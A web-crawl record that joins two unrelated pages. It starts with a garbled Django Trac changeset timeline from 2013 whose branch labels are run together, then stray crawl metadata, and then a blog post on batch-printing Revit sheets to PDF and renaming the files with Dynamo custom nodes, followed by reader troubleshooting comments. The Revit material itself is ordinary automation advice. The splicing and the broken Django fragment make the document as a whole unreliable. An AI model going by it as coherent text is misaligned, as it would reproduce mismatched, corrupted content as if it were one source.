686
58.48
Timeline 06/21/2013: -]stable/1.6.xstable/1.7.xstable/1]stable/1.6.xstable/1.7.xstable/1]stable/1.6.xstable/1.7.xstable/1]stable/1.6.xstable/1.7.xstable/1.8.x by - Fixed #20290 -- Allow override_settings to be nested Refactored … - 09:32 Changeset [cca4070]stable/1.7.xstable/1/2013: -]stable/1.6.xstable/1.7.xstable/1]stable/1.7.xstable/1]stable/1.6.xstable/1.7.xstable/1 by - Fixed error in last commit. Thanks Simon Charette. - 09:27 Changeset [0e8ee50]stable/1.7.xstable/1.8.x by - Rename makemigration to makemigrations - 09:19 Changeset [47e4b86]stable/1.7.xstable/1.8.x by - Autodetect field alters - 09:12 Changeset [80bdf68]stable/1.7.xstable/1 by - Modified tutorial 3 to use RequestContext in place of Context. - 08:54 Changeset [6f667999]stable/1.7.xstable/1]stable/1.6.xstable/1.7.xstable/1]stable/1.6.xstable/1.7.xstable/1.8.x by - Fixed #20486 -- Ensure that file_move_safe raises an error if the … - 03:41 OpenData edited by - Update the ‘Django Development Dashboard’ link (diff) 06/19/2013: -]stable/1.6.xstable/1.7.xstable/1.8.x by - Merge pull request #1287 from mintchaos/patch-1 Itty bitty typo fix. - 18:45 Changeset [c4a0c91]stable/1.6.xstable/1.7.xstable/1]stable/1.6.xstable/1.7.xstable/1]stable/1.7.xstable/1.8.x by - Better naming, and prompt for NOT NULL field addition - 10:41 Changeset [41214eaf]stable/1.7.xstable/1]stable/1.7.xstable/1.8.x by - Makemigration command now works - 10:18 Changeset [ffcf24c9]stable/1.6.xstable/1.7.xstable/1.8.x by - Removed several unused imports. - 09:36 Changeset [ab5cbae9]stable/1.7.xstable/1.8.x by - First stab at some migration creation commands - 09:36 Changeset [2ae8a8a]stable/1.7.xstable/1]stable/1.7.xstable/1.8.x by - Merge remote-tracking branch 'core/master' into schema-alteration … - 05:57 Ticket #20623 (django-admin.py startproject[ project name ] create only manage.py file) created by - same as above.. - 05:04 Changeset [d9a4354]stable/1.6.xstable/1.7.xstable/1.8.x by - Merge pull request #1282 from loic/ticket6903 Fixed failing test on … - 04:13 Changeset [7d0c3b9b]stable/1.6.xstable/1.7.xstable/1.8.x by - Fixed MySQL failing test introduced by c86a9b6 - 03:39 Changeset [f171ed6]stable/1.5.x by - Fixed broken reference in documentation. - 03:37 Changeset [b0b506b9]stable/1.6.xstable/1.7.xstable/1.8.x by - Fixed broken reference in documentation. - 02:52 Ticket #20621 (tutorial 04 imports polls namespace while within polls) closed by - worksforme: Hi, The namespacing of URLs is introduced at the end of part 3 [1]. …e]stable/1.6.xstable/1.7.xstable/1.8.x by - Merge pull request #1281 from loic/ticket6903 Fixed #6903 - Preserved … - 14:41 Changeset [c86a9b6]stable/1.6.xstable/1.7.xstable/1 by - Merge pull request #1280 from erikr/improve-password-reset2 Fixed … - 13:02 Changeset [aeb1389]stable/1.6.xstable/1.7.xstable/1 by - Fixed #20199 -- Allow ModelForm fields to override error_messages from … - 07:01 Changeset [f34cfec]stable/1.6.xstable/1.7.xstable/1 by - Fixed #20615 -- Added trove classifiers for major Python versions. - 05:05 Ticket #20616 (save date in one format in Python/Django) created by - forms.py DATE_INPUT_FORMAT = ( ('%d/%m/%Y','%m/%d/%Y') ) class … Note: See TracTimeline for information about the timeline view.
https://code.djangoproject.com/timeline?from=2013-06-21T08%3A22%3A02-07%3A00&precision=second
CC-MAIN-2015-11
refinedweb
589
62.14
SIGPROCMASK(2) NetBSD System Calls Manual SIGPROCMASK(2)Powered by man-cgi (2021-06-01). Maintained for NetBSD by Kimmo Suominen. Based on man-cgi by Panagiotis Christias. NAME sigprocmask -- manipulate current signal mask LIBRARY Standard C Library (libc, -lc) SYNOPSIS #include <signal.h> int sigprocmask(int how, const sigset_t * restrict set, sigset_t * restrict oset); DESCRIPTION The sigprocmask() function examines and/or changes the current signal mask (those signals that are blocked from delivery). Signals are blocked if they are members of the current signal mask set. If set is not null, the action of sigprocmask() depends on the value of the parameter how. The signal mask is changed as a function of the spec- ified set and the current mask. The function is specified by how using one of the following values: SIG_BLOCK The new mask is the union of the current mask and the speci- fied 9.99 June 4, 1993 NetBSD 9.99
https://man.netbsd.org/sparc64/sigprocmask.2
CC-MAIN-2022-40
refinedweb
156
65.32
Some time ago I have spotted this post by Sol Armor at DynamoBIM forum, asking about printing PDFs out of Dynamo and I was a little sad that we didn’t already have any tools for that. Recently (last Friday) I was also asked by my PA to print some stuff for him, and I was reminded just how limited current printing tools in Revit are. It’s not like I needed any more reasons to look at this issue, but also on Friday a colleague of mine told me they are “issuing a set” and are currently in a process of re-naming of hundreds of PDFs that were printed out of Revit. Why? Because per client wish/requirement they were obliged to name each PDF document with a Sheet Revision in its name…duh! Since every sheet was in a different revision state, we had a little pickle on our hands that couldn’t be solved without custom plug-in or x-amount of man hours. This is what I came up with in Dynamo instead: So first thing that bothered me when I was printing, was that I couldn’t quickly print sheets that I needed at the moment and creating new sets every time I wanted to print but a new sheet was added to the set and I had to go back and edit the set that I created in a first place. It’s like my “100% CD” view set is good today, but tomorrow it sucks. So I though it would be way easier to use Dynamo to dynamically filter for sheets that I wanted, by any parameter – like Sheet Issue Date. So instead of relying on View Sets I can now dynamically create lists of sheets that I want to print. Of course view sets are still a viable method of defining what sheets we want to print so I am still supporting that method. As a matter of time here’s how: This way I can use both ways of defining what sheets I want to print but the final input into the Print PDF node will have to be a list of Sheet View Elements. Speaking of Print PDF node, here’s how it is set up: Here’s the code for it: We already covered Views, so let’s look at Print Range. In order to use a list of views we have to set Print Range to Select. This aligns with the procedure that you would use while working in the UI. I haven’t really tested other options like Current and Visible, but if someone gives them a try and they fail, let me know how they failed and i will try to fix it. Next thing up is a Combined File boolean input. If you set to to True the printout will be a single file, while if set to False you will print each sheet separately. Now, here’s an Adobe tip: Since I hate being prompted for a file name for every sheet, I guess others too, you can go to Start>Devices and Printers then Right Click on Adobe PDF (that’s the printer that I am using) to set Printer Preferences. Here’s what I set mine to: Unchecking “View Adobe PDF Results” will make sure that Adobe doesn’t open the newly printed file. It should speed things up a bit. Also, unchecking “Ask to replace existing PDF file” will supress any warnings caused by already existing files in the destination folder and they will be overridden by default. Last bit is to set the “Adobe PDF Output Folder”, which is a folder that all PDFs will be printed regardless of your current destination folder setting in Revit. Since these settings take precedent over in Revit settings, get used to seeing all of your prints always get dropped to this folder. It’s not the end of the day, and sure as hell is a decent time saver for me when plotting multiple sheets to a single PDF each. Next is a Printer Name. For this exercise I was using a Adobe PDF printer, but I guess some people prefer to use Bluebeam PDF or PDF995 printers as well. I haven’t tested it with any other printer, but again, feel free to give it a whirl and let me know how it went. To obtain names of all locally installed printers I use a node called Local Printers Names which wouldn’t be possible without great help from Stack Overflow community. I am in all honesty admitting that this kind of use of ctypes library is not in my tool belt. Anyhow, I got some help on this one and its pretty amazing: Next up are Print Settings. For now I was happy to just use one of the pre-defined user Print Settings, but in the future I will make a node where user can define its own settings. I guess ability to define your own settings will come super helpful when plotting PDFs to multiple sheet sizes. We could easily automate print setting assignment based on sheet size and make this tool even better. For now just pre-make one and use this node to select it: Edit 2015/08/08 : Print Settings now accepts a single item and/or a list. What that means is you can plot (100) sheets and for each one you can define (100) different print settings. Of course this is just one step closer to what I was discussing above where the intent is to be able to plot different sheet sizes in one run. Now, you can. Just supply a Print Setting name for each sheet and they will all be plotted to that setting. So if we have a setting for each sheet size, then we can pair up sheets with proper print settings and problem solved. We no longer have to run multiple plots because we have multiple sheet size that get issued. Below are two examples for each case: Next input is a File Path. This is a weird input. You remember that few lines up I said that when we specify a Default Output Folder in Adobe PDF Printing Preferences, then it will override this setting. Yes, it will, but Revit API is still expecting you to set it to something, or you can expect an error. Hence, I am making it an input and you can set it to some random file name but make sure that it ends with a *.pdf format. The final input is a Boolean toggle to make the script execute. I have started to put boolean toggles on most of my nodes, because I don’t want this node to print (it might take a while with a large set of sheets) every time I hit F5. Ok, at this moment we should have printed our drawing set and assuming they were individual sheets, they will all be named with the standard Revit naming convention: FileName – UserName – Sheet – SheetNumber – SheetName.pdf Of course this not the name that I want. If I am only interested in removing all of the stuff before Sheet Number and Name, then I am usually using a tool like Bulk Rename Utility. However, if my goal is to rename each sheet with a more customized name that for example would include a current Sheet Revision Number, then I can use another tool that I have developed for this workflow: Here’s code that I used to create this node: Rename Files is a node that will take a Directory Path input. It will then look for all files contained in that directory and rename only those files that in their full name have an “identifier”. An identifier is a string that is unique to that particular file name. In case of our sheets its usually a Sheet Number value. Since, Revit by default puts a Sheet Number into file name, then we can use that as an identifier to isolate and rename only sheets that contain our identifier. I can obtain an identifier by extracting a Sheet Number value from each view that I extracted from a View Set: This brings us to another custom node added to archi-lab package: Get Built In Parameter. This is particularly useful when you are extracting Sheet Name and Number parameters, because since there exists multiple parameters in Revit API with the same name, the standard GetParameterByName node fails miserably to obtain the right one and often returns empty or null values. With this node you can get the BuiltIn SHEET_NUMBER or SHEET_NAME parameters and since its an unique name, then you can rest assured that you are getting the right value. Also, ParameterNames input can either be a list or a single string and will either return a list or a nested list. Back to our Rename File node. Here we are getting a Sheet Number and since that’s a unique part of each file’s name we can use that to identify only files that we want to rename. Next input is a NewNames input. This has to be a matching length list of strings that we want to rename our files to with a proper *.pdf suffix (I usually have known file extensions turned on in my windows settings so I am required to add this to my file name). Ha! This is pretty sweet method to construct a new file name from random strings, and combination of sheet specific parameters. Now, this is pretty much the reason why I did this whole printing exercise in Dynamo, because I knew that I can create custom/sheet specific file names. Awesome! String From List is a new archi-lab node that just joins all list items into a single string with a separator and then adds a suffix at the end (.pdf). Once this is complete, we set the Boolean toggle to True for the Rename Files node, and watch our files get renamed. Pretty awesome stuff if you ask me. 10.01.2015 Update 1: I did make some changes to my package recently. One main change was replacing all Enum based nodes with Dynamo UI nodes and proper drop-downs. Now, I did make a small mistake with those that resulted with some broken functionality. It has just been fixed. Apologies to all users that were posting comments below. Please download latest archi-lab_Grimshaw package. Thank you. Genius. Many thanks Konrad! Hi, I have tested theses nodes, but i can not make them work… Could you help me? PS: I use REVIT in french. thanks. Attachment: Capture.png Vincent, Everything looks good on your image except that it doesn’t work. Can you do me a favor and double click the Print PDF node. That will take you inside that node. Copy a Python node that is inside and exit that node. Paste it on your main canvas. Now wire it up like you would Print PDF node and hit run. I want to see what the error is and Custom nodes in Dynamo swallow the error message that gets generated by anything inside that node. Thanks! Konrad, I would like to clarify a point : When i use file path node, i am asked to select a file. Is this normal? Should I create the file before the first impression? I send you the items as soon as possible. Tanks, Vincent, The file doesn’t have to exist. When you use File Path node and click on the “Browse…” button it will let you do either one of the two things: 1. Select an already existing file. 2. Navigate to a folder and type in the name.extension of the file that you would like to create/open even if it doesn’t exist. Either one of the things should work just fine in this case. When I connect the “String From List” to “New Names” I get an message that says “Your intended file name is not a compatible file name. Make sure that you are not strings like……. How do I fix this issue? Thanks Konrad! Very nice Hi First off all great work! As usually. I seems to have some problems to – getting your print tools to work. I did as you descript to Vincent and sending you an image of the error. I hope I can help you getting the error solved. Here is the pic. Ok I give up with the pic. Here is the error text: Warning: IronPythonEvaluator.EvaluatelronPythonScript Opration failed. Traceback (most recent call last): File “”,line45, in TypeError: iteration over non-seqence af type NoneType Are you trying to print a single view? Make sure that Views input is a list. I only tested this for the purpose of printing more than one view. I succeeded getting the def. to work – but then I chance the File Path and got stock with this warning: Warning: IronPythonEvaluator.EvaluateIronPythonScript operation failed. Traceback (most recent call last): File “”, line 94, in Exception: Rename of the setting was unsuccessful; this may be because the name is already in use. Does the error relate to the File Path? It sounds relatively clear to me. It will not let you “rename” a file to exact same name that is already being used by another/same file in the same directory. That’s exactly the same behavior that regular Windows UI experiences. Please specify a different name. It’s working now! also with Bluebeam. Thank you for your help. Jesper you are welcome. i am glad it was helpful for you. let me know if you find any bugs in it. i only tested it for a limited use range and i am sure it will break a lot. Thanks! HI again Have you trough off building a similar tool for renaming DWF files in the future? It will be nice to have the same opportunities with both formats. Have you tried using it on a DWF file? It’s not format specific. I was showing it on PDFs but you can rename any file with it. If you want to use it to manage your vacation images then it should be just fine for that too. :-) The “Local printers names” node is not working, the result is null…. Do you know what could be the reason? Thanks. What is the error message? Please double click on the node, there is a Python node inside of it, copy/paste that into the project canvas and hit run. It should turn yellow, and display a warning message. Hi Conrad, I had a same problem with Thiago, and a warning message displayed like this. Warning: IronPythonEvaluator.EvaluateIronPythonScript operation failed. Traceback (most recent call last): File “”, line 49, in File “C:\Program Files (x86)\IronPython 2.7\Lib\ctypes\__init__.py”, line 492, in cast TypeError: expected pointer, got int I just started to use Dynamo, so please help me how I can solve this problem. Thank you for your help. Dongsoo Sorry for mistyping your name. Konrad. ^^ The local printer’s node is not necessary. It’s there to help you know what are the printers installed on your machine and their names. You can just pass in “ADOBE PDF” into Print PDF node as a Printer Name and it will work as well. I close dynamo and open again and it worked. The software still very instable. If I try to edit a node twice it crashs… Lets see on the next version… Thanks! glad it works for you. Have you guys tried to run this script in 2016? In my machine crashes when I run on revit 2016. Great stuff Konrad, Just wondering, can you feed the Print Settings input with a list of names? One of the most irritating thing about printing in revit is that you can only do one paper size at once. I would like to associate a Print Setting parameter with every sheet and read this to pdf everything correctly in one run. Yes, that would be possible but would require some tweaks to the current code. I can have a look at this, but I am not sure when i will have a minute to solve this. It surely is possible though. Joseph, Ok, I tweaked it a little bit, and now you should be able to print sheets with a different setting for each sheet. You just have to make sure that list of sheets and list of printSettings are the same length (one print setting per one sheet) and you should be fine. You can still print all sheets to a single print setting and in that case print setting input can be a single item. Please download latest archi-lab package to see this new functionality. Good luck! Attachment: Capture1.png Excellent, thats one more process that can be automated :) Konrad Thank You for sharing this excellent work with us! Would it be possible to print various page sizes into a single pdf with this tool? You know, I love the active section marks since revit2015r2 which take you to the page of the section… but our detail use A3 while floor plans and sections are A0. Best Regards, Janek Not at the moment I am afraid. I will add this request to my backlog and let you know when I have something ready. Sorry. I do have a way to make this work, but it is definitely a workaround! I just tried printing all sheets into one A0-multipage-pdf. Detail-Marks work just as smoothly as sections and levels. Then I crop all A3 using Acrobat…well workaround as I said! Best Regards, Janek Hi, Great Job, I look at your Print PDF node and how do you change input IN[0] into text? I paste code into Python node and all input remained as IN[0]….IN[6], not sure how to modify it 2. where is code for Print Range, Print Settings, Local Print Names? This looks very interesting. There are range of nodes used in the code above that I do not have any clue on how to get them. Node such as “View Sets”, “Get View form View Set”, “Print Range” and Print Settings. I assume they are Python nodes? Where do we get these nodes from, or where is the code? Cheers Kerry download package called archi-lab_Grimshaw Thanks Konrad I had to uninstall installed versions of the archi-lab and Grimshaw packages out of my system and then I reinstalled the archi-lab.net package and the stuff was all there – no mention of Grimshaw in the package manager except a mention in the keywords. I guess the “_Grimshaw” is implicit. Cheers Kerry Hi, all these custom nodes look very promising, and I have been testing them, but it seems to me, that the “Print Settings” -parameter in PrintPDF-node just wont work. I tried to point just one setting, list of settings and also just string with the name of a existing print setting to it, but revit seems to always use the settings I have last used in Revit’s own print dialog. I’m using your latest package (2015.08.31) It would also be really cool, if I could change the individual settings inside the presets, so that I wouldn’t have to create different presets beforehand in revit, but rather just change the “”-preset with dynamo on the fly. Anyway, thanks for all the other (working) nodes. For example the door set handing has been really useful. Can you post an image? Or even better, email me your Dynamo definition and i will try to see what’s wrong. It’s usually something trivial. I will help as much as I can and as time permits. It should be doable. Also, ability to define your own settings on the fly is possible. I will put that on my TODO and get to it as I free some time. Good luck! Thanks for the fast response Here’s an image. I pretty much duplicated what your images showed. I created a test file in revit with four sheets (in view set named “C”) and 3 print set presets like you can see. Every sheet printed otherwise just fine, but revit always uses the settings I last used in dialog, whether it was , or some saved preset. Attachment: batchprint-problem.jpg Try changing the python code in the “Print PDF” node, it worked for me. View my comment further down the page. Gustav, thanks for sharing! Konrad I have some trouble with the Print PDF node. I’m running the 2016 version of Revit and I have tried to use Print PDF inn your newest packaged. I have attached a screen shoot off the error message. I have tried to create a new phyton script based on code on this page, but I still get the same error. I hope that this will work, It’s a great solution :) Best regards Stig Attachment: PrintPDF.jpg Yeah, this appears to be an issue with the new node passing the selection as a string. I just tried the old python node from a previous version and it worked. Dan, Which version did you roll back to? I just rolled back to 2015.9.16 but I’m still getting the error. Pat, This will no longer be needed. Please update to latest version of my package. Thank you. Dan, Yes, that was exactly the issue. I have patched that up for now. Thanks for reporting. Yes, I am getting the same error in 2016: “expected PrintRange, got str” It looks like it does not like string for that parameter / value… Giovanni, This has been fixed and new version of archi-lab_Grimshaw package has been posted to Package Manager. I am sorry for the inconvenience. Hi Konrad, Can you please explain what’s the input into the node “combine by pattern” must be? In your screen capture Capture1.png from august the 7th is that not visable. Hi Konrad. First of all thank you for the package, a huge time saver. I’m trying to change two shared parameters of the sheets in the view set. The problem is, that view sets output using “get views from viewset” is views, and for me to set a sheet parameter, I need the corresponding “sheet”. I tried using list map by sheet number , but was unsuccessful. Is there a direct way to get the sheet element from the view ? when you say “sheet” do you mean the ViewSheet or Titleblock? As far as I am aware this node does return a ViewSheet at the moment so I am not sure what the problem is. Please be more specific. Thank you I mean Viewsheet. Since viewset output is views, I wanted to get the corresponding sheets for the views so as to assign some shared parameters only on the sheets present in that viewset. Unsuccessful so far. Thanks Attachment: viewset.png Amin, Yes, so a ViewSheetSet contains ViewSheets. Since ViewSheet is really a subclass of View then then they can be interchangeably cast from ViewSheet to View and reverse. What you see is an example of that happening. ViewSheetSet when queried for its contents ( ViewSheetSet.Views ) returns View class objects. However, they are still ViewSheets, but need to be cast as such. Since Python doesn’t handle casting like C# does, I wasn’t worried about it and just returned Views class objects. They work great when printing. You can extract ViewSheet equivalent of View just by comparing their Ids. Like I said, they are the same object just cast into two different classes. Check out an image attachment. Attachment: Capture2.png Thank you so much. That did it. I’m sluggish with filters and list map, but getting there. I’m now using your package to assign a “sheet # of “total number of sheets”” parameter based on the sheets in the view set every time before printing. works great. Thanks again. Glad it worked. Good luck! Hi Konrad, Thanks for this package, it is incredibly useful. However, while I can get the “Print PDF” node to work, I seem unable to override the print settings in the Revit UI with the “PrintSettings” input. For instance, if I set the settings to ISO A0 in the UI, and select A3 in the “Print Settings” node, it will still print in A0 format. Other inputs, like “PrinterName” and “FilePath”, are able to override the settings from the UI. Can you get this to work for you? Cheers Attachment: Print.zip I figured this one out. I changed the end of the definition “PrintView” in the “Print PDF” python script from: # apply print setting try: printSetup = printManager.PrintSetup printSetup.CurrentPrintSetting = printSetting printManager.Apply() except: pass # save settings and submit print TransactionManager.Instance.EnsureInTransaction(doc) viewSheetSetting.SaveAs(“tempSetName”) printManager.Apply() printManager.SubmitPrint() viewSheetSetting.Delete() TransactionManager.Instance.TransactionTaskDone() to: # apply print setting ps = FilteredElementCollector(doc).OfClass(PrintSetting) for k in ps: if k.Name == printSetting.Name: newPrintSetting = k # save settings and submit print TransactionManager.Instance.EnsureInTransaction(doc) printSetup = printManager.PrintSetup printSetup.CurrentPrintSetting = newPrintSetting printManager.Apply() viewSheetSetting.SaveAs(“tempSetName”) printManager.Apply() printManager.SubmitPrint() viewSheetSetting.Delete() TransactionManager.Instance.TransactionTaskDone() Now I can print as many formats and settings as I please in one go! Gustav thanks a lot, this was one I was awaiting for as I could not print in different formats as well, Hi Gustav, Is this code exactly as you entered it, with no further edits to Konrad’s Python script node within ‘Print PDF’? I’ve been wrestling with it for a while and it’s not working for me… Hi, Yes this part was all I changed, and it is copied directly. Obviously you have to watch the tab positons for each line of code, as they are not copied over to the forum post. I have attached the node so you can try it. Attachment: Print-PDF.zip Amazing! I thought I had the tabs in the correct locations, but evidently I did not… Works like a charm, thanks Gustav. Hi all, Gustav, I was having the same problem as you. I used your edited node, but I’m having this error shown in the image. Any idea what the problem is? I’m trying to learn phyton but I couldn’t figure it out. Attachment: Capture-1.png Thanks, Gustav! I had the same problem and your script helped! Initially i got an error but when i rearranged the script a little it worked. Attachment: Python-PrintSettings.jpg Hi Konrad, Somehow viewsets node is deprecated. I’m on 0.9.1. should I revert back to 0.9.0 ? thanks Attachment: viewset1.png I uninstalled 0.9.1, and the node works fine with 0.9.0. The thing is, there is no backward compatibility for 0.9.1. Really wish I didn’t upgrade in the first place and save all my files with the new build. I am struggling to get your PrintPDF node to work for combined files as well as for overriding print settings. I am using your archi-lab.net version 2015.12.10 and am running Dynamo 0.9.0. I have set up the nodes with the following inputs: View Sets: (A custom user created view set in Revit project file named “Test Set” with 16 sheets assigned) Print Range: Select Combined File: True Printer Name: Code Block [“Adobe PDF”] Print Settings: (A custom user created print settings with ARCH E document size.) File Path: (New PDF filename on desktop) If I use these settings as shown with a combined file, the output is a single sheet of the wrong size. I need to manually change the print settings in Revit prior to running the node for it to output the right size. However, this doesn’t fix the fact that it only prints one sheet rather than the whole set. Here is the error traceback I get when running with the above settings: ————- Traceback (most recent call last): File “”, line 117, in File “”, line 93, in PrintView Exception: The files already exist! ———— Can you please give me some guidance on where the script is failing? I have tried a few editing tweaks myself but haven’t had any luck to get it to print to a combined file. Non-combined seems to work, but need this script specifically for a combined application. Thanks! The error states that what you are trying to print already exists. I would check that your Adobe settings are set to automatically override existing files without asking for permission. I did check this early on. That setting to Ask for replacing is not checked in Adobe PDF presets. It seems to me, looking through the script and the errors that the printing loop is only completing one run and then completing the pdf. Is there a previous version of the node that may work more seamless? I have even tried setting all the preferred presets in Revit prior to running the node and it is still only printing one sheet from the view set. Hello all, I am also learning dynamo and find all your tools and posts very helpful. what changes would we have to make to print from a list of views/sheets instead of the view+printRange. in other words i want to print from a list of sheet numbers either from excel file, list created in dynamo or list from all sheets in current revit document. I want to print to a pdf per the sequence in my list and not from a print set. thank you, Yeah, that would mean modifying the Print PDF node’s functionality. It would have to instead of making a single call to print a view set, make X-number of calls to print every sheet in a list. That’s not impossible but would require a little bit of work. Also, that Excel part would mean reading the excel file and then using that list of names to sort all sheets in the model. That’s also very possible and not hard to do. So this is where I am. I’m using a list of sheets in the ‘views’ input instead of ‘views from view set’. So far this seems to work just fine with the added bonus that it prints the pdfs in the same order as the list. I’m using the sheet index schedule exported to excel through bimlink. Combined pdf does not work, I’m having the same problem as Jon. Only the first page print and errors out with file already exists. I combine pdfs after printed sorting by date for correct order. a couple of the issues I have are: ‘select’ is the only option that produces any pdfs. ‘combinedfile’ only prints first sheet thanks for sharing carlos, i will put this on my todo list. here’s the image. That was my goal as well. But we sort our sheets in our drawing index by a single project parameter in Revit, so I intended to sort the list in dynamo using that same identifier prior to inputting into the printpdf node. This way, our drawing index matches our sheet order in the PDF and there is no manual reordering required. Just have to get the printpdf node to print a combined file now. Can you send me the unaltered node python script to make sure the downloaded version I have isn’t tainted? Thanks again for these tools! Just so its clear, Revit will not accept a collection of sheets that are custom ordered. It orders them internally by sheet number. What that means that it’s not possible – at least not out of the box – to print a combined set with a custom order. Now, of course it is possible to write a custom solution where we print each sheet separately and then combine them into a single PDF according to custom order but that operation would be outside of Revit. There are plug-ins for Revit like RTV Tools that do that sort of thing and they are not hugely expensive – basic license is probably $40 while corporate license is $10,000. Personally, I don’t plan on creating such a tool at the moment, because I don’t need it at work. Hey Konrad Great workflow! But… I am missing some inputs/nodes like View sets, Print range and Print settings. I have tried to just write the inputs in strings, but that does not work for Print Sets. What to do? Is me that just do something wrong. Everything is set up as you examples. Thanks, daniel looks like you have a bad install of Archi-lab. I have got it to work. It worked with the dropdown menus at some pc’s and others not. For some reason I have some trouble to install the Package. I have tried to download the Package manually. It seems to there is some problems with View Sets etc. They do not exist in the .dyf folder, only in the backup folder as a backup. There is also a lot of backup files. I suppose it is not the purpose? Daniel, I see what is going on. It looks like Pacakge Manager uploads the backup files as well as the actual nodes when I am publishing updates. Also, it seems that If I had a node missing from my package, but it was in the backup folder I would not even know about it because it still shows up in my library. Now, I will clean this stuff up, remove backups and try to re-upload the package. This is clearly another limitation of the Package Manager that I wasn’t aware of. As a side note, archi-lab package is currently built on top of 0.9.0 release. I will update to 0.9.1 in the near future and probably roll these two changes out together. Thanks! Good to hear it was not me that did something wrong ;) But, now it does not work anymore. I have tried to move the missing nodes from the bakcup to right location. Is there any chance of you have time to update the package very soon? Thanks :) I will try to put something together today. I will let you know. Hi Konrad, I’d just like to say thanks first of all for your blog! It’s been extremely helpful. I was going to ask for a small favour if you would? I’m not 100% sure how all the nodes come together to achieve all of this as the images are fragmented. I’m quite a new dynamo user and it would be a great help if there was some way you could show me this? Cheers, Dan Dan, thank you for the kind words, but I am a little busy at the moment. Please refer to DynamoBIM.com forum for help with this. I will be back to granting people’s wish in a month or so. Thanks! Konrad Great post! I sympathize with your frustrations about printing and renaming-I’ve gone through that process many times. I’m only just getting into Dynamo but I wish I had seen this post earlier! I tried to modify your process to meet our office workflow and I got a little hung up at the very end. I’m not sure what’s going on. I know you’re incredibly busy but if you get a chance would you mind taking a look? Thanks. -BDerrick Attachment: Printing-PDFs-w-Dynamo.pdf i will when I have a moment. Firstly, great website Konrad and thank you for your excellent posts! In response to BDerrick if it hasn’t been answered elsewhere (and if you don’t mind Konrad) I had a similar problem. The ‘directory’ string you have going into IN[0] on the ‘Rename Files’ node is actually a file path. The python code os.listdir(path) in the rename node can not read generate the file list from the path of one file, rather than the whole directory which it needs. See my attached image for the string manipulation I used to get a directory path that works with the Python script in the Rename Files node. FYI All nodes except ‘Custom Rename Files Script’ in my image are standard ootb and named as indexed in Dynamo. Attachment: EPDynamoPrinting.png Thanks for answering, but in all honesty the post was pretty clear about this. There is an image of a Directory Path going into that input as well as its called Directory. I fail to see how anyone would wire a File Path into that and then be surprised it doesn’t work. It’s not exactly rocket science. Anyways, thank you for answering that question. I hope others will appreciate it. No problem! I agree on the clarity of explanation in the post for using Directory Path, but for some reason when using the Directory Path prior to my adding a suffix of “\”, it caused an error along the lines of ‘can’t find part of path’. I thought that BDerrick might have attempted it with both file and directory paths, resulting in the same error! Then the question should have been clearly stating just that. I am not exactly well versed in mind reading. :-) Anyways, thanks for offering another possible solution. I will put that down, as something that I need to check out. Good catch. I have fixed a few other mistakes that I had made as well. It all works now except the file renaming. I’ve gone through the article many times but I can’t see what I’m missing. My String From List node result is null but my Rename Files node results in success so maybe it should be working. However, non of the files are renamed. Any suggestions? Attachment: Printing-PDFs-w-Dynamo2.png Thank you again Konrad for this tool. Has anyone had any luck finding a fix to the combined PDF issue? I have tweaked the Python script a few different ways and had no luck getting a combined PDF to work (even with a single print setting). Konrad, I know you’ve been busy, but do you by chance have any updates on getting the combined PDF function to work? Or anyone else found a fix? Thank you again! I am sorry but i had no need/time to play with this recently. Thought-provoking post ! BTW , if anybody is interested in merging of two PDF files , my company stumbled across post here Hello Konrad. I have a problem with “Rename Files Node”, screenshot with warnig in attachment. Could you help mi solved this problem? Best regards! Attachment: problem1.jpg Hi Konrad, First of all, thanks a lot for this website, it is super useful and I am learning a lot. I have a problem with the Rename file nodes that I can’t figure out. I have created these 3 pdf using you print pdf node (worked perfectly!): Project1 – Sheet – 00001 – TEST1.pdf Project1 – Sheet – 00002 – TEST2.pdf Project1 – Sheet – 00003 – TEST3.pdf After running the rename files node, I receive these files 0 (no format) Project1 – Sheet – 00002 – TEST2.pdf Project1 – Sheet – 00003 – TEST3.pdf And this error report: { Traceback (most recent call last): File “”, line 27, in WindowsError: [Errno 2] [Errno 3] Could not find a part of the path ‘C:\Users\nayaa\Desktop\New folder (4)\Project1 – Sheet – 00001 – TEST1.pdf’. . } Any idea how to solve this? Thanks Alberto Castellanos, What happens when you make two Dynamo scripts (1 for printing and 1 for renaming)? I also had a problem with traceback, than i tried with a ‘Pause’ node, it worked but not good. So we made a second script for renaming, and for me it works fine thanks for the reply… in my opinion your package is like shit, none does not work Piotrek, Dzieki za wpis. Przykro mi ze moj darmowy plug-in, do darmowego oprogramowania, zamieszczony na blogu ktory czytasz za darmo nie spelnia twoich standardow jakosci. Ale, wiesz co? Ja lubie pomagac innym w moim wolnym czasie wiec jak masz jakis prawdziwy komentarz na temat mojego plug-inu to prosze sie nie krepowac, chetnie poslucham. Ps. Nastepnym razem jak bedziesz chcial mnie, lub kogos innego obrazic to prosze Cie napisz po Polsku. Angielski to nie jest twoje forte…kultura i dobre wychowanie najwyrazniej rowniez, ale mam nadzieje ze zrozumiales moje przeslanie. Powodzenia! Nie obrażam Ciebie tylko nie działające skrypty, poniosło mnie. No ale nie działa mi to Rename:( Revit 2017, najnowsze dynamo, a spędziłem przy nim z 20 godzin. Za godzine w polsce bierze się 200zł więc 4tys w plecy;/. PS. Widocznie polski również, bo nawet nie wiem co to znaczy forte;p Z tego co się orientuje, wiele osób ma problem z twoimi pakietami po aktualizacji na nową wersje …problem…one po prostu wcale nie działają. Pierwsza zasada dobrego programisty – jak już coś robisz, rób to porządnie:) Wydawanie niedziałających rzeczy sieje tylko zamęt, lepsze nic niż to, bo wtedy człowiek nie traci wielu godzin cennego czasu na sprawdzanie dlaczego jemu działa a mi nie. Hello Konrad, is the combine function still broken? good question. i don’t remember last time i used that node. What are you feeding it and how does it “not work”? care for an image? Hi, great job thank you. it worked perfectly but the common problem we are still facing is we need to save every pdf before plotting. Can we set 1 directory for all pdfs ? Hi Konrad, Thanks for another great post and series of nodes! I haven’t been able to get this one to work yet though. I have two problems: 1. The “Print Files” portion in my version of the script is returning an error with line 101 in the script; 2. and consequently, the “rename PDFs” section has nothing to rename though I think I may have the same problem with that part of the script as a few others have. Am I missing something obvious? where to download the latest archi-lab_Grimshaw package Please try the Package Manager. Thanks, Konrad K Sobon. Helped. Dear Konrad, thanks a lot for your post. I have same problem as posted in comment “Alberto Castellanos September 20, 2016 at 12:52 pm “. Is there a solution for this? I am, structural engineer and new into Dynamo, and without any programming skills. I tried split pdfprint and pdfrename into seperate dyn files but no results. PDFprint is working well except that I must save each sheet (but how I understand it depends on printer). I attached image af nodes and what I get in directory. Also dyn file. Hope you will have time to help. Gatis Attachment: PDFprintsRename.png I am adding imege of what I get in directory after execution. 